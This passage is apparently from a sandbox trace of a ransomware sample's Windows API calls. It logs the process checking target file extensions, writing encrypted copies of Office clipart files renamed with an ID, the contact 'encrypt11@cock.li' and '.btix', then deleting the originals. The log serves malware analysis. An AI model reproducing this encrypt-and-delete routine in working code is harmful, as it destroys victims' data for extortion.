Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0155.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0155.664] lstrlenW (lpString=".doc") returned 4 [0155.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.664] lstrlenW (lpString=".docx") returned 5 [0155.664] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0155.664] lstrlenW (lpString=".pdf") returned 4 [0155.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.664] lstrlenW (lpString=".xls") returned 4 [0155.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.664] lstrlenW (lpString=".xlsx") returned 5 [0155.664] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0155.664] lstrlenW (lpString=".ppt") returned 4 [0155.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0155.664] lstrlenW (lpString=".zip") returned 4 [0155.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.665] lstrlenW (lpString=".rar") returned 4 [0155.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.665] lstrlenW (lpString=".bz2") returned 4 [0155.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.665] lstrlenW (lpString=".7z") returned 3 [0155.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0155.665] lstrlenW (lpString=".dbf") returned 4 [0155.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0155.665] lstrlenW (lpString=".1cd") returned 4 [0155.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0155.665] lstrlenW (lpString=".jpg") returned 4 [0155.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.668] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.668] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.672] GetLastError () returned 0x0 [0155.672] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x54d4, lpOverlapped=0x0) returned 1 [0155.675] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x54e0, lpOverlapped=0x0) returned 1 [0155.676] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.676] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.676] SetEndOfFile (hFile=0x36c) returned 1 [0155.680] CloseHandle (hObject=0x36c) returned 1 [0155.681] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.681] SetEndOfFile (hFile=0x390) returned 1 [0155.683] CloseHandle (hObject=0x390) returned 1 [0155.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf")) returned 1 [0155.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0155.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0155.686] lstrlenW (lpString=".doc") returned 4 [0155.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.686] lstrlenW (lpString=".docx") returned 5 [0155.686] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0155.686] lstrlenW (lpString=".pdf") returned 4 [0155.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.686] lstrlenW (lpString=".xls") returned 4 [0155.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.686] lstrlenW (lpString=".xlsx") returned 5 [0155.686] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0155.686] lstrlenW (lpString=".ppt") returned 4 [0155.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0155.687] lstrlenW (lpString=".zip") returned 4 [0155.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.687] lstrlenW (lpString=".rar") returned 4 [0155.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.687] lstrlenW (lpString=".bz2") returned 4 [0155.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.687] lstrlenW (lpString=".7z") returned 3 [0155.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0155.687] lstrlenW (lpString=".dbf") returned 4 [0155.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0155.687] lstrlenW (lpString=".1cd") returned 4 [0155.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0155.687] lstrlenW (lpString=".jpg") returned 4 [0155.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.691] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.691] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0155.692] GetLastError () returned 0x0 [0155.692] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x48dc, lpOverlapped=0x0) returned 1 [0155.695] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x48e0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x48e0, lpOverlapped=0x0) returned 1 [0155.695] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.696] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.696] SetEndOfFile (hFile=0x3a4) returned 1 [0155.701] CloseHandle (hObject=0x3a4) returned 1 [0155.701] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.701] SetEndOfFile (hFile=0x37c) returned 1 [0155.704] CloseHandle (hObject=0x37c) returned 1 [0155.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf")) returned 1 [0155.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0155.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0155.705] lstrlenW (lpString=".doc") returned 4 [0155.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.705] lstrlenW (lpString=".docx") returned 5 [0155.705] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0155.705] lstrlenW (lpString=".pdf") returned 4 [0155.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.705] lstrlenW (lpString=".xls") returned 4 [0155.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.705] lstrlenW (lpString=".xlsx") returned 5 [0155.705] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0155.705] lstrlenW (lpString=".ppt") returned 4 [0155.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0155.705] lstrlenW (lpString=".zip") returned 4 [0155.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.705] lstrlenW (lpString=".rar") returned 4 [0155.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.705] lstrlenW (lpString=".bz2") returned 4 [0155.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.705] lstrlenW (lpString=".7z") returned 3 [0155.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0155.705] lstrlenW (lpString=".dbf") returned 4 [0155.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0155.706] lstrlenW (lpString=".1cd") returned 4 [0155.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0155.706] lstrlenW (lpString=".jpg") returned 4 [0155.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.708] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.708] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0155.708] GetLastError () returned 0x0 [0155.708] ReadFile (in: hFile=0x36c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xb594, lpOverlapped=0x0) returned 1 [0155.718] WriteFile (in: hFile=0x348, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xb5a0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xb5a0, lpOverlapped=0x0) returned 1 [0155.720] ReadFile (in: hFile=0x36c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.720] WriteFile (in: hFile=0x348, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.720] SetEndOfFile (hFile=0x348) returned 1 [0155.720] CloseHandle (hObject=0x348) returned 1 [0155.720] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.720] SetEndOfFile (hFile=0x36c) returned 1 [0155.721] CloseHandle (hObject=0x36c) returned 1 [0155.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg")) returned 1 [0155.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0155.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0155.722] lstrlenW (lpString=".doc") returned 4 [0155.722] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0155.722] lstrlenW (lpString=".docx") returned 5 [0155.722] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0155.722] lstrlenW (lpString=".pdf") returned 4 [0155.722] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0155.722] lstrlenW (lpString=".xls") returned 4 [0155.722] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0155.722] lstrlenW (lpString=".xlsx") returned 5 [0155.722] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0155.722] lstrlenW (lpString=".ppt") returned 4 [0155.722] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0155.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0155.722] lstrlenW (lpString=".zip") returned 4 [0155.722] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0155.722] lstrlenW (lpString=".rar") returned 4 [0155.722] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0155.722] lstrlenW (lpString=".bz2") returned 4 [0155.722] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0155.722] lstrlenW (lpString=".7z") returned 3 [0155.722] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0155.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0155.723] lstrlenW (lpString=".dbf") returned 4 [0155.723] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0155.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0155.723] lstrlenW (lpString=".1cd") returned 4 [0155.723] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0155.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0155.723] lstrlenW (lpString=".jpg") returned 4 [0155.723] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0155.726] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.726] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0155.726] GetLastError () returned 0x0 [0155.726] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x3888, lpOverlapped=0x0) returned 1 [0155.738] WriteFile (in: hFile=0x390, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3890, lpOverlapped=0x0) returned 1 [0155.739] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.739] WriteFile (in: hFile=0x390, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.739] SetEndOfFile (hFile=0x390) returned 1 [0155.743] CloseHandle (hObject=0x390) returned 1 [0155.743] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.743] SetEndOfFile (hFile=0x3a4) returned 1 [0155.744] CloseHandle (hObject=0x3a4) returned 1 [0155.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf")) returned 1 [0155.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0155.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0155.744] lstrlenW (lpString=".doc") returned 4 [0155.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.744] lstrlenW (lpString=".docx") returned 5 [0155.744] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0155.745] lstrlenW (lpString=".pdf") returned 4 [0155.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.745] lstrlenW (lpString=".xls") returned 4 [0155.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.745] lstrlenW (lpString=".xlsx") returned 5 [0155.745] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0155.745] lstrlenW (lpString=".ppt") returned 4 [0155.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0155.745] lstrlenW (lpString=".zip") returned 4 [0155.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.745] lstrlenW (lpString=".rar") returned 4 [0155.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.745] lstrlenW (lpString=".bz2") returned 4 [0155.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.745] lstrlenW (lpString=".7z") returned 3 [0155.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0155.745] lstrlenW (lpString=".dbf") returned 4 [0155.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0155.745] lstrlenW (lpString=".1cd") returned 4 [0155.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0155.745] lstrlenW (lpString=".jpg") returned 4 [0155.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.751] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.752] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0156.050] GetLastError () returned 0x0 [0156.050] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1b74, lpOverlapped=0x0) returned 1 [0156.058] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1b80, lpOverlapped=0x0) returned 1 [0156.058] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.059] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.059] SetEndOfFile (hFile=0x39c) returned 1 [0156.059] CloseHandle (hObject=0x39c) returned 1 [0156.059] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.059] SetEndOfFile (hFile=0x364) returned 1 [0156.060] CloseHandle (hObject=0x364) returned 1 [0156.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.060] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf")) returned 1 [0156.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0156.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0156.060] lstrlenW (lpString=".doc") returned 4 [0156.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.061] lstrlenW (lpString=".docx") returned 5 [0156.061] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0156.061] lstrlenW (lpString=".pdf") returned 4 [0156.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.061] lstrlenW (lpString=".xls") returned 4 [0156.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.061] lstrlenW (lpString=".xlsx") returned 5 [0156.061] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0156.061] lstrlenW (lpString=".ppt") returned 4 [0156.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0156.061] lstrlenW (lpString=".zip") returned 4 [0156.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.061] lstrlenW (lpString=".rar") returned 4 [0156.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.061] lstrlenW (lpString=".bz2") returned 4 [0156.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.061] lstrlenW (lpString=".7z") returned 3 [0156.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0156.061] lstrlenW (lpString=".dbf") returned 4 [0156.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0156.061] lstrlenW (lpString=".1cd") returned 4 [0156.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0156.061] lstrlenW (lpString=".jpg") returned 4 [0156.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.068] SetFilePointerEx 